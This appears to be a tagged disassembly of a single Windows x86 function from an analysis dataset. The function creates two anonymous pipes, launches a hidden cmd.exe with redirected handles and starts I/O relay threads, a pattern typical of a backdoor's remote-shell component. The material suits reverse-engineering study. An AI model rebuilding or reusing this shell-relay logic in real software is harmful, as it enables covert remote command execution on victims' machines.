Function at 0x10002210
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ef8b
mov eax, dword fs:[0]
push eax
sub esp, 0x170
mov eax, dword [0x100130f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
push eax
mov dword [ebp - 0x138], edi
call fcn.10001d70
push 0x40
lea eax, [ebp - 0x178]
xorps xmm0, xmm0
push 0
push eax
mov dword [ebp - 4], 0
mov dword [edi], vtable.CShellManager.0
movq qword [ebp - 0x120], xmm0
mov dword [ebp - 0x17c], 0
call fcn.10003d40
push 0x103
lea eax, [ebp - 0x113]
xorps xmm0, xmm0
push 0
push eax
mov dword [ebp - 0x134], 0
movq qword [ebp - 0x130], xmm0
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x114], 0
call fcn.10003d40
add esp, 0x18
lea edx, [ebp - 0x124]
push 0
lea eax, [edi + 0x18]
push edx
lea ecx, [edi + 0xc]
push eax
lea esi, [edi + 0x10]
lea ebx, [edi + 0x14]
push ecx
mov dword [ecx], 0
mov dword [esi], 0
mov dword [ebx], 0
mov dword [eax], 0
mov dword [ebp - 0x124], 0xc
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10002337
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10002324
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x100024bc
push eax
call esi
jmp 0x100024bc
push 0
lea eax, [ebp - 0x124]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000236d
mov eax, dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000235b
push eax
call esi
mov eax, dword [ebx]
test eax, eax
je 0x100024bc
push eax
call esi
jmp 0x100024bc
push 0x44
lea eax, [ebp - 0x17c]
push 0
push eax
call fcn.10003d40
add esp, 0xc
xorps xmm0, xmm0
lea eax, [ebp - 0x17c]
push eax
movq qword [ebp - 0x134], xmm0
movq qword [ebp - 0x12c], xmm0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x14c], ax
mov eax, dword [ebx]
mov dword [ebp - 0x144], eax
mov eax, dword [edi + 0x18]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x17c], 0x44
mov dword [ebp - 0x150], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x114]
dec ecx
lea ecx, [ecx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100023f0
mov eax, dword [str.cmd.exe]
mov dword [ecx], eax
mov eax, dword [0x1000f2c4]
mov dword [ecx + 4], eax
mov al, byte [0x1000f2c8]
mov byte [ecx + 8], al
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x17c]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10002459
push dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x10]
call esi
push dword [ebx]
call esi
push dword [edi + 0x18]
call esi
jmp 0x100024bc
mov eax, dword [ebp - 0x134]
mov dword [edi + 0x1c], eax
mov eax, dword [ebp - 0x130]
mov dword [edi + 0x20], eax
push 1
lea eax, [ebp - 0x115]
push eax
mov ecx, edi
mov byte [ebp - 0x115], 0xcc
call fcn.10001e00
mov ecx, edi
call fcn.10001e80
push 0
push 0
push 0
push edi
push 0x10002650
push 0
push 0
call fcn.10001ea0
push 0
push 0
push 0
push edi
push 0x100025c0
push 0
push 0
mov dword [edi + 0x24], eax
call fcn.10001ea0
add esp, 0x38
mov dword [edi + 0x28], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100038c0
mov esp, ebp
pop ebp
ret 4